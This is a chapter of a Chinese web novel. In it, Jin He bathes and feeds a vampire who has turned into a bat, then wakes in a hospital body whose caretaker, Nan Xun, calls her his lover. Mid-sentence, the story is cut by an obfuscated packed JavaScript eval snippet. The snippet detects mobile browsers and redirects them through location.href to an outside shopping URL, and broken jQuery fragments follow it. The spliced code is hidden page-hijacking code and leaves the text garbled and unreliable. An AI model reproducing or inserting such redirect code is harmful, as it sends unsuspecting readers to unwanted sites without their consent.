*

    “哗哗哗。”

    水龙头里的水流到江子墨手上,他抽了两张纸巾擦手,坐到餐桌上。

    桌上的菜色和前几天的大相径庭,除了一个西红柿蛋汤是正常的颜色,其他的黑的黑、棕的棕。

    不过江子墨并不在乎,他从小就是吃仿生人做的饭长大的,只要没毒,他都能咽掉下去。

    江子馨是他按照去世妹妹相貌制作的仿生人,江子墨不知道她是什么时候学习做饭的,但她做的东西确确实实还算能下肚。

    他试探抿了口西红柿蛋汤,五官顿时皱在了一起,他轻咳几声,压低眉毛,看着站在他身前龇着个大牙的江子馨:“你是不是盐放多了?”

    “不是我放的。”

    “那是谁放的?”江子墨拿筷子的动作一顿。

    “那个被你关在家里的姐姐。”

    他冷嗤一声:“她让你端给我吃的?”

    “我抢的呀。”江子馨把手搭在身后,踮起脚尖。

    “那她吃什么?”

    “我之前存的泡面。”

    江子墨眼神一愣,思绪慢慢飘到金禾身上,隔空不能传递情绪,却能增加金禾对他的怨恨。

    房间里的金禾此刻正给蝙蝠洗身体,她看着手里哼哼唧唧、缩在洗手台角落的顾言秋,心里没来由地涌现出愧疚。

    怎么搞得她好像在逼迫良家妇男一样?

    一双水汪汪的葡萄大眼流露出恐惧,顾言秋的叫声一会像是狐狸,一会又像是老鼠,叫得金禾脑子一团乱麻。

    她既怕弄疼它,又怕它洗不干净。

    “呼呼呼。”

    吹风机的声音一出,蝙蝠小子勾着毛巾的手就抖个不停。

    金禾第一时间拔掉吹风机的插头,她拿毛巾一点点擦拭着黏成一缕缕的白毛。

    她抱着顾言秋坐到床上,默默调高空调温度。

    吸血鬼会感冒吗?应该不会吧。

    她举着顾言秋,一人一蝙蝠面面相觑,她郑重其事道:“顾同志,在你变聪明之前,你就叫顾小秋了。”

    她实在没法把眼前这个家伙和顾言秋画等号,她有种想把顾小秋含嘴里的冲动,但对于顾言秋,她只想咬下对方的脑袋。

    希望自己以后能变成僵尸,世界末日的时候就能送坏人全部上西天。

    顾小秋动了动鼻子,眼睛一眨不眨地看着金禾,没人能看出它曾经是一只聪明的吸血鬼。

    “姐姐,记得喂蝙蝠水果。”

    江子馨的声音从客厅传来,传送带启动,运来了一个小果盘,上面的香蕉、苹果显然是刚从冰箱拿出来的,摸着冰冰凉凉。

    金禾剥开嫩黄的香蕉皮,看着月牙似的果肉,吃了好几条泡面的金禾决心为顾小秋试毒,她毅然决然地咬了一口,痛苦地吃了一口一口。

    “小秋啊,不是我不给你吃,这个香蕉太甜了,你年纪大,牙口不好,少吃一点。”

    她细细品尝着,不一会儿,吃的只剩下一半,她愧疚地瞄了眼眼巴巴望着她的顾小秋,忍痛割爱,把剩下的香蕉塞到它嘴里。

    她吃一半,顾小秋吃一半,她可真是个好人。

    金禾咬了口苹果,脆脆的果肉在口腔里爆汁。

    她眼睛蓦地亮起,吃得只剩下一半的时候,她放到了顾小秋的面前,大方道:“吃吧。”

    蝙蝠小口小口地啃着,苹果一点点变少,最后只剩下了果核。

    “苹果底下还有一点呢,不要浪费,吃!”

    顾小秋听不懂金禾的话,但这不妨碍它吃东西,他张开嘴巴,对准金禾的手指咬了下去。

    一股电流窜过手指,延至四肢,金禾迅速缩回手,呼吸混乱,心跳如鼓。

    “你咬我!”手指上渗出血珠,鲜红的液体不断膨胀。

    吸血鬼改不了喝血,就像狗改不了吃屎。

    血凝固了也是浪费,金禾平放顾小秋,把血擦到纸巾上,拿着纸巾在他面前晃:“浪费也不给你!”

    她洗漱完就上床了,她把顾小秋包好扔到枕头旁,闭眼就睡着了。

    ……

    迷迷糊糊间,她一会儿感觉到一只大老鼠在身体里乱窜,一会儿又感觉到食蚁兽伸着舌头在她身体里找吃的。

    她一个翻身压住了身上的异物,从被子里掏出手摸了摸枕边的毛巾。

    毛巾半摊在那里,上面空无一物。

    身侧传来动物的痛苦的哼唧声,那种声音像是铁锤,瞬间敲碎了金禾用铁做的心脏。

    好吧,她心软了。

    金禾用被子闷住脑袋,缓缓抬起眼皮,掏出顾小秋。

    黑暗里,一双黑色的眼睛泛着淡淡的光。

    “你要好好睡觉,到外面随便找个地方挂着睡觉吧。”

    她像是抛垃圾一般,把顾小秋往外头随手一扔。

    确认对方远离自己后,她立刻裹紧被子。

    顾小秋要是真的想要咬她,她也防不住,干脆随便对方折腾,不要打扰她睡觉就好了。

    这般想着,她一个翻身就睡了过去。

    *

    房间里的光一会黄一会白、一会蓝一会绿。

    金禾反反复复按着灯的开关,无聊地托着腮,盯着墙壁发呆。

    每天到了固定时间,房间的灯将会自动亮起,扰得金河不得清梦。

    表面上她只是在睡觉中途醒来了一次而已,可实际上,她的睡眠质量大大下降。

    她只是想要好好睡一觉而已!

    “我受不了了!我要换个身体!”

    金禾拍案而起,她原本觉得控制两个身体会累死自己,可现在她觉得自己这样坐以待毙也不是个办法。

    她躺在床上,果断地换个身体。

    在天花板上裹着翅膀的顾小秋猛地睁开眼,它张开翅膀,飞到了金禾身边,钻到了被子里。

    ……

    眼前一暗一明,金禾看着白花花的天花板,闻着消毒水的味道,像是个植物人一般,无法控制自己的身体。

    边上的交谈声陆陆续续传到她耳朵里。

    “她可能这辈子都醒不过来了,南先生,你要做好准备。”

    “我知道了。”南浔的声音响起,他的语气沉闷,有气无力。

    “南先生,你想要怎么安置你的爱人?”

    金禾瞪大眼睛,张大嘴巴。

    什么爱人?哪里来的爱人。

    好孙子,背着你奶奶找女朋友,我要切掉那个姑娘的恋爱脑。

    你这个毫无绅士风度的人根本给不了她幸福!

    吊瓶挂在金属架上,滴液不疾不徐地坠下,病娇d不紧不慢地下载着。

    【病娇d下载进度为30%,南浔的照顾强迫症下载完毕。】

    【d(附件:只针对救命恩人)特殊程序正在缓慢启动……】

    南浔沉默片刻道:“我打算把她带回家,我觉得她在医院待得不舒服。”

    金禾似乎嗅到了恋爱的酸臭味,她在心里呐喊道:

    你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16948178|192209||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    奶奶在医院待得也不舒服,奶奶要求不高,八个护工足矣!

    最好是四男四女,如果是年轻人,她就在她房间看现场恋综看,如果是全熟人士,她也能看父母爱情,横竖都不愧啊!

    “我晚点就给我爱人办出院手续。”南浔转身,朝着金禾走来。

    南浔的脚似乎不是踩在地上,而是踩在她胸口上。

    她紧闭眼睛,放轻呼吸,听着脚步声越来越近。

    医生走到床尾,按着笔帽:“你爱人名字确认一下,是金禾,对吧。”

    金禾在心里扣了个问号。

    哈哈哈,病人名字怎么能记错呢。

    南浔沉声道:“是的。”

    金禾在心里踩了几个省略号。

    哈哈哈,女朋友的名字怎么能记错呢。

    一双温暖的大手覆上她的脸颊,淡淡的木质香钻进鼻子。

    “我带你回家。”

    她脑袋空白一瞬,这句话一字不漏地飘进她的脑子。

    我带你回家~

    带你回家~

    你回家~

    回家~

    哦!孙子,你是要自己回家对吗?去吧去吧,不要管我。

    金禾的CPU已经烧毁了,她的脑子转不动了。

    滴液流进金禾体内,让她的心一点点变冷。

    哈哈哈,南浔一定是为了逃避什么家族联姻,所以才这样乱认爱人的。

    “医生,你去忙吧。”南浔把椅子拉到了金禾身边,静静地注视着她。

    金禾才恢复清醒不久,脑子还是晕乎乎的,即便她努力克制着困意,困意还是把她哄睡觉了。

    不知过了多久,手背忽然传来轻微的钝痛。

    金禾懵懵地掀起眼皮,顺着方向望去,却什么都看不见,她朝上看去。

    最顶上的输液瓶空空如也,暗红色的血珠正一点一点漫上底下的管壁。

    她轻轻动了一下手指,可被握住的手指根本动弹不得。

    她困难地转动脖子,余光里,一个人正趴在她的床边,握着她的手熟睡。

    阳光被摇曳绿叶过滤,漏到南浔的头发上,晃动的发丝像是被打上了一层柔光。

    两只手一冷一暖,金禾的左脑右脑相互搏击。

    她到底是要装睡还醒来呢?

    输液报警器响了良久,可身侧的人还是睡得很熟。

    金禾恢复了一点力气,她抽出左手,拔掉了右手上的针头,费了九牛二虎之力撑起身体,靠在床头。

    该来的总会来,不如提早面对呢。

    喉咙里像是被塞了团干棉絮,难以吞咽。

    要是口腔里的细菌有意识,都会吐槽她的舌头像是干裂的土地。

    她目光落在了床头柜上的矿泉水上,小心翼翼移动身体,生怕吵醒南浔。

    手不断靠近矿泉水,并成功抓住瓶子,她把瓶子往自己这头拉着。

    瓶子跨越了床头柜和床之间的大峡谷,来到了金禾身边。

    她按住瓶盖,使劲打开。

    瓶盖和瓶身牢牢黏在一起,她只能用牙齿分开它们。

    “咕噜咕噜。”

    冰凉的水流过干渴的喉咙,她托起瓶身,越喝越起劲。

    原本趴着的南浔不知道什么时候醒了,他挺直背,看着金禾道:“慢点喝。”

    金禾僵硬地侧过身,放下矿泉水,咽下了嘴里含着的水,眨着无辜的眼睛,小声道:“对不起,吵醒你了,你知道我这是在哪里吗?”